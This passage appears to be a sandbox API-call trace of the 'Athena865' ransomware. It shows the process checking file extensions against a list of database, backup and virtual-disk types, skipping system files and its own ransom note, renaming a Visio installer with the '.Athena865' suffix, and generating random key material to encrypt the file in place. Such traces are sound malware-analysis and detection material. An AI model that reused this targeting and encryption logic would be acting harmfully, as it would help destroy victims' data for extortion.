1 [0064.081] lstrlenW (lpString="accdr") returned 5 [0064.081] lstrcmpiW (lpString1="W.msi", lpString2="accdr") returned 1 [0064.081] lstrlenW (lpString="accdt") returned 5 [0064.081] lstrcmpiW (lpString1="W.msi", lpString2="accdt") returned 1 [0064.081] lstrlenW (lpString="accdw") returned 5 [0064.081] lstrcmpiW (lpString1="W.msi", lpString2="accdw") returned 1 [0064.081] lstrlenW (lpString="accft") returned 5 [0064.081] lstrcmpiW (lpString1="W.msi", lpString2="accft") returned 1 [0064.081] lstrlenW (lpString="adb") returned 3 [0064.081] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0064.081] lstrlenW (lpString="adb") returned 3 [0064.081] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0064.081] lstrlenW (lpString="ade") returned 3 [0064.081] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0064.081] lstrlenW (lpString="adf") returned 3 [0064.081] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0064.081] lstrlenW (lpString="adn") returned 3 [0064.081] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0064.081] lstrlenW (lpString="adp") returned 3 [0064.081] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0064.081] lstrlenW (lpString="alf") returned 3 [0064.081] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0064.081] lstrlenW (lpString="ask") returned 3 [0064.081] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0064.082] lstrlenW (lpString="btr") returned 3 [0064.082] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0064.082] lstrlenW (lpString="cat") returned 3 [0064.082] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0064.082] lstrlenW (lpString="cdb") returned 3 [0064.082] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0064.082] lstrlenW (lpString="ckp") returned 3 [0064.082] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0064.082] lstrlenW (lpString="cma") returned 3 [0064.082] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0064.082] lstrlenW (lpString="cpd") returned 3 [0064.082] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0064.082] lstrlenW (lpString="dacpac") returned 6 [0064.082] lstrcmpiW (lpString1="WW.msi", lpString2="dacpac") returned 1 [0064.082] lstrlenW (lpString="dad") returned 3 [0064.082] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0064.082] lstrlenW (lpString="dadiagrams") returned 10 [0064.082] lstrcmpiW (lpString1="siorWW.msi", lpString2="dadiagrams") returned 1 [0064.082] lstrlenW (lpString="daschema") returned 8 [0064.082] lstrcmpiW (lpString1="orWW.msi", lpString2="daschema") returned 1 [0064.082] lstrlenW (lpString="db-journal") returned 10 [0064.082] lstrcmpiW (lpString1="siorWW.msi", lpString2="db-journal") returned 1 [0064.082] lstrlenW (lpString="db-shm") returned 6 [0064.082] lstrcmpiW (lpString1="WW.msi", lpString2="db-shm") returned 1 [0064.082] lstrlenW (lpString="db-wal") returned 6 [0064.082] lstrcmpiW (lpString1="WW.msi", lpString2="db-wal") returned 1 [0064.082] lstrlenW (lpString="dbc") returned 3 [0064.082] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0064.082] lstrlenW (lpString="dbs") returned 3 [0064.082] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0064.082] lstrlenW (lpString="dbt") returned 3 [0064.082] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0064.082] lstrlenW (lpString="dbv") returned 3 [0064.082] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0064.082] lstrlenW (lpString="dbx") returned 3 [0064.083] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0064.083] lstrlenW (lpString="dcb") returned 3 [0064.083] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0064.083] lstrlenW (lpString="dct") returned 3 [0064.083] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0064.083] lstrlenW (lpString="dcx") returned 3 [0064.083] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0064.083] lstrlenW (lpString="ddl") returned 3 [0064.083] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0064.083] lstrlenW (lpString="dlis") returned 4 [0064.083] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0064.083] lstrlenW (lpString="dp1") returned 3 [0064.083] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0064.083] lstrlenW (lpString="dqy") returned 3 [0064.083] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0064.083] lstrlenW (lpString="dsk") returned 3 [0064.083] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0064.083] lstrlenW (lpString="dsn") returned 3 [0064.083] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0064.083] lstrlenW (lpString="dtsx") returned 4 [0064.083] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0064.083] lstrlenW (lpString="dxl") returned 3 [0064.083] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0064.083] lstrlenW (lpString="eco") returned 3 [0064.083] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0064.083] lstrlenW (lpString="ecx") returned 3 [0064.083] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0064.083] lstrlenW (lpString="edb") returned 3 [0064.083] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0064.083] lstrlenW (lpString="epim") returned 4 [0064.083] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0064.083] lstrlenW (lpString="fcd") returned 3 [0064.083] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0064.083] lstrlenW (lpString="fdb") returned 3 [0064.084] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0064.084] lstrlenW (lpString="fic") returned 3 [0064.084] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0064.084] lstrlenW (lpString="flexolibrary") returned 12 [0064.084] lstrlenW (lpString="fm5") returned 3 [0064.084] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0064.084] lstrlenW (lpString="fmp") returned 3 [0064.084] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0064.084] lstrlenW (lpString="fmp12") returned 5 [0064.084] lstrcmpiW (lpString1="W.msi", lpString2="fmp12") returned 1 [0064.084] lstrlenW (lpString="fmpsl") returned 5 [0064.084] lstrcmpiW (lpString1="W.msi", lpString2="fmpsl") returned 1 [0064.084] lstrlenW (lpString="fol") returned 3 [0064.084] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0064.084] lstrlenW (lpString="fp3") returned 3 [0064.084] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0064.084] lstrlenW (lpString="fp4") returned 3 [0064.084] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0064.084] lstrlenW (lpString="fp5") returned 3 [0064.084] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0064.084] lstrlenW (lpString="fp7") returned 3 [0064.084] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0064.084] lstrlenW (lpString="fpt") returned 3 [0064.084] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0064.084] lstrlenW (lpString="frm") returned 3 [0064.084] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0064.084] lstrlenW (lpString="gdb") returned 3 [0064.084] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0064.084] lstrlenW (lpString="gdb") returned 3 [0064.084] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0064.084] lstrlenW (lpString="grdb") returned 4 [0064.084] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0064.084] lstrlenW (lpString="gwi") returned 3 [0064.084] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0064.084] lstrlenW (lpString="hdb") returned 3 [0064.085] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0064.085] lstrlenW (lpString="his") returned 3 [0064.085] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0064.085] lstrlenW (lpString="ib") returned 2 [0064.085] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0064.085] lstrlenW (lpString="idb") returned 3 [0064.085] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0064.085] lstrlenW (lpString="ihx") returned 3 [0064.085] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0064.085] lstrlenW (lpString="itdb") returned 4 [0064.085] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0064.085] lstrlenW (lpString="itw") returned 3 [0064.085] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0064.085] lstrlenW (lpString="jet") returned 3 [0064.085] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0064.085] lstrlenW (lpString="jtx") returned 3 [0064.085] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0064.085] lstrlenW (lpString="kdb") returned 3 [0064.085] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0064.085] lstrlenW (lpString="kexi") returned 4 [0064.085] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0064.085] lstrlenW (lpString="kexic") returned 5 [0064.085] lstrcmpiW (lpString1="W.msi", lpString2="kexic") returned 1 [0064.085] lstrlenW (lpString="kexis") returned 5 [0064.085] lstrcmpiW (lpString1="W.msi", lpString2="kexis") returned 1 [0064.085] lstrlenW (lpString="lgc") returned 3 [0064.085] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0064.085] lstrlenW (lpString="lwx") returned 3 [0064.085] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0064.085] lstrlenW (lpString="maf") returned 3 [0064.085] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0064.085] lstrlenW (lpString="maq") returned 3 [0064.085] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0064.085] lstrlenW (lpString="mar") returned 3 [0064.085] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0064.085] lstrlenW (lpString="marshal") returned 7 [0064.086] lstrcmpiW (lpString1="rWW.msi", lpString2="marshal") returned 1 [0064.086] lstrlenW (lpString="mas") returned 3 [0064.086] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0064.086] lstrlenW (lpString="mav") returned 3 [0064.086] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0064.086] lstrlenW (lpString="maw") returned 3 [0064.086] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0064.086] lstrlenW (lpString="mdbhtml") returned 7 [0064.086] lstrcmpiW (lpString1="rWW.msi", lpString2="mdbhtml") returned 1 [0064.086] lstrlenW (lpString="mdn") returned 3 [0064.086] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0064.086] lstrlenW (lpString="mdt") returned 3 [0064.086] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0064.086] lstrlenW (lpString="mfd") returned 3 [0064.086] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0064.086] lstrlenW (lpString="mpd") returned 3 [0064.086] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0064.086] lstrlenW (lpString="mrg") returned 3 [0064.086] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0064.086] lstrlenW (lpString="mud") returned 3 [0064.086] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0064.086] lstrlenW (lpString="mwb") returned 3 [0064.086] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0064.086] lstrlenW (lpString="myd") returned 3 [0064.086] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0064.086] lstrlenW (lpString="ndf") returned 3 [0064.086] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0064.086] lstrlenW (lpString="nnt") returned 3 [0064.086] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0064.086] lstrlenW (lpString="nrmlib") returned 6 [0064.086] lstrcmpiW (lpString1="WW.msi", lpString2="nrmlib") returned 1 [0064.086] lstrlenW (lpString="ns2") returned 3 [0064.086] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0064.086] lstrlenW (lpString="ns3") returned 3 [0064.087] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0064.087] lstrlenW (lpString="ns4") returned 3 [0064.087] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0064.087] lstrlenW (lpString="nsf") returned 3 [0064.087] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0064.087] lstrlenW (lpString="nv") returned 2 [0064.087] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0064.087] lstrlenW (lpString="nv2") returned 3 [0064.087] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0064.087] lstrlenW (lpString="nwdb") returned 4 [0064.087] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0064.087] lstrlenW (lpString="nyf") returned 3 [0064.087] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0064.087] lstrlenW (lpString="odb") returned 3 [0064.087] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0064.087] lstrlenW (lpString="odb") returned 3 [0064.087] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0064.087] lstrlenW (lpString="oqy") returned 3 [0064.087] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0064.087] lstrlenW (lpString="ora") returned 3 [0064.087] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0064.087] lstrlenW (lpString="orx") returned 3 [0064.087] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0064.088] lstrlenW (lpString="owc") returned 3 [0064.088] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0064.088] lstrlenW (lpString="p96") returned 3 [0064.088] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0064.088] lstrlenW (lpString="p97") returned 3 [0064.088] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0064.088] lstrlenW (lpString="pan") returned 3 [0064.088] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0064.088] lstrlenW (lpString="pdb") returned 3 [0064.088] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0064.088] lstrlenW (lpString="pdm") returned 3 [0064.088] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0064.088] lstrlenW (lpString="pnz") returned 3 [0064.088] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0064.088] lstrlenW (lpString="qry") returned 3 [0064.088] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0064.088] lstrlenW (lpString="qvd") returned 3 [0064.088] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0064.088] lstrlenW (lpString="rbf") returned 3 [0064.088] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0064.088] lstrlenW (lpString="rctd") returned 4 [0064.088] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0064.088] lstrlenW (lpString="rod") returned 3 [0064.088] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0064.088] lstrlenW (lpString="rodx") returned 4 [0064.088] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0064.088] lstrlenW (lpString="rpd") returned 3 [0064.088] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0064.088] lstrlenW (lpString="rsd") returned 3 [0064.088] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0064.088] lstrlenW (lpString="sas7bdat") returned 8 [0064.088] lstrcmpiW (lpString1="orWW.msi", lpString2="sas7bdat") returned -1 [0064.088] lstrlenW (lpString="sbf") returned 3 [0064.088] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0064.088] lstrlenW (lpString="scx") returned 3 [0064.089] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0064.089] lstrlenW (lpString="sdb") returned 3 [0064.089] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0064.089] lstrlenW (lpString="sdc") returned 3 [0064.089] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0064.089] lstrlenW (lpString="sdf") returned 3 [0064.089] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0064.089] lstrlenW (lpString="sis") returned 3 [0064.089] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0064.089] lstrlenW (lpString="spq") returned 3 [0064.089] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0064.089] lstrlenW (lpString="te") returned 2 [0064.089] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0064.089] lstrlenW (lpString="teacher") returned 7 [0064.089] lstrcmpiW (lpString1="rWW.msi", lpString2="teacher") returned -1 [0064.089] lstrlenW (lpString="tmd") returned 3 [0064.089] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0064.089] lstrlenW (lpString="tps") returned 3 [0064.089] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0064.089] lstrlenW (lpString="trc") returned 3 [0064.089] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0064.089] lstrlenW (lpString="trc") returned 3 [0064.089] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0064.089] lstrlenW (lpString="trm") returned 3 [0064.089] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0064.089] lstrlenW (lpString="udb") returned 3 [0064.089] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0064.089] lstrlenW (lpString="udl") returned 3 [0064.089] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0064.089] lstrlenW (lpString="usr") returned 3 [0064.089] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0064.089] lstrlenW (lpString="v12") returned 3 [0064.089] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0064.089] lstrlenW (lpString="vis") returned 3 [0064.089] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0064.090] lstrlenW (lpString="vpd") returned 3 [0064.090] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0064.090] lstrlenW (lpString="vvv") returned 3 [0064.090] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0064.090] lstrlenW (lpString="wdb") returned 3 [0064.090] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0064.090] lstrlenW (lpString="wmdb") returned 4 [0064.090] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0064.090] lstrlenW (lpString="wrk") returned 3 [0064.090] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0064.090] lstrlenW (lpString="xdb") returned 3 [0064.090] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0064.090] lstrlenW (lpString="xld") returned 3 [0064.090] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0064.090] lstrlenW (lpString="xmlff") returned 5 [0064.090] lstrcmpiW (lpString1="W.msi", lpString2="xmlff") returned -1 [0064.090] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.Athena865") returned 85 [0064.090] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.athena865"), dwFlags=0x1) returned 1 [0064.091] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0064.091] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12060672) returned 1 [0064.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0064.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5191a0 [0064.092] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519118) returned 1 [0064.092] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.092] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0064.092] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb80b00, lpName=0x0) returned 0x17c [0064.095] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xa00000, dwNumberOfBytesToMap=0x180b00) returned 0x2d50000 [0064.207] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0064.299] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0064.317] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519118) returned 1 [0064.317] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.317] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0064.318] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0064.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0064.318] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.318] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.318] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.318] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.318] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0064.334] CloseHandle (hObject=0x17c) returned 1 [0064.334] CloseHandle (hObject=0x154) returned 1 [0064.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0064.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0064.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.344] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0064.344] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.344] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.344] lstrcmpiW (lpString1="VisiorWW.xml", lpString2=".") returned 1 [0064.344] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="..") returned 1 [0064.344] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="windows") returned -1 [0064.344] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="bootmgr") returned 1 [0064.344] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="temp") returned 1 [0064.344] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="pagefile.sys") returned 1 [0064.344] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="boot") returned 1 [0064.344] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="ids.txt") returned 1 [0064.344] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="ntuser.dat") returned 1 [0064.344] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="perflogs") returned 1 [0064.344] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="MSBuild") returned 1 [0064.344] lstrlenW (lpString="VisiorWW.xml") returned 12 [0064.344] lstrcpyW (in: lpString1=0x241e8c6, lpString2="VisiorWW.xml" | out: lpString1="VisiorWW.xml") returned="VisiorWW.xml" [0064.344] lstrlenW (lpString="VisiorWW.xml") returned 12 [0064.344] lstrlenW (lpString="Athena865") returned 9 [0064.344] lstrcmpiW (lpString1="iorWW.xml", lpString2="Athena865") returned 1 [0064.344] lstrlenW (lpString=".dll") returned 4 [0064.344] lstrcmpiW (lpString1="VisiorWW.xml", lpString2=".dll") returned 1 [0064.344] lstrlenW (lpString=".lnk") returned 4 [0064.344] lstrcmpiW (lpString1="VisiorWW.xml", lpString2=".lnk") returned 1 [0064.344] lstrlenW (lpString=".ini") returned 4 [0064.344] lstrcmpiW (lpString1="VisiorWW.xml", lpString2=".ini") returned 1 [0064.344] lstrlenW (lpString=".sys") returned 4 [0064.345] lstrcmpiW (lpString1="VisiorWW.xml", lpString2=".sys") returned 1 [0064.345] lstrlenW (lpString="VisiorWW.xml") returned 12 [0064.345] lstrlenW (lpString="bak") returned 3 [0064.345] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0064.345] lstrlenW (lpString="ba_") returned 3 [0064.345] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0064.345] lstrlenW (lpString="dbb") returned 3 [0064.345] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0064.345] lstrlenW (lpString="vmdk") returned 4 [0064.345] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0064.345] lstrlenW (lpString="rar") returned 3 [0064.345] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0064.345] lstrlenW (lpString="zip") returned 3 [0064.345] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0064.345] lstrlenW (lpString="tgz") returned 3 [0064.345] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0064.345] lstrlenW (lpString="vbox") returned 4 [0064.345] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0064.345] lstrlenW (lpString="vdi") returned 3 [0064.345] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0064.345] lstrlenW (lpString="vhd") returned 3 [0064.345] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0064.345] lstrlenW (lpString="vhdx") returned 4 [0064.345] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0064.345] lstrlenW (lpString="avhd") returned 4 [0064.345] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0064.345] lstrlenW (lpString="db") returned 2 [0064.345] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0064.345] lstrlenW (lpString="db2") returned 3 [0064.345] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0064.345] lstrlenW (lpString="db3") returned 3 [0064.345] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0064.345] lstrlenW (lpString="dbf") returned 3 [0064.345] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0064.346] lstrlenW (lpString="mdf") returned 3 [0064.346] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0064.346] lstrlenW (lpString="mdb") returned 3 [0064.346] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0064.346] lstrlenW (lpString="sql") returned 3 [0064.346] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0064.346] lstrlenW (lpString="sqlite") returned 6 [0064.346] lstrcmpiW (lpString1="WW.xml", lpString2="sqlite") returned 1 [0064.346] lstrlenW (lpString="sqlite3") returned 7 [0064.346] lstrcmpiW (lpString1="rWW.xml", lpString2="sqlite3") returned -1 [0064.346] lstrlenW (lpString="sqlitedb") returned 8 [0064.346] lstrcmpiW 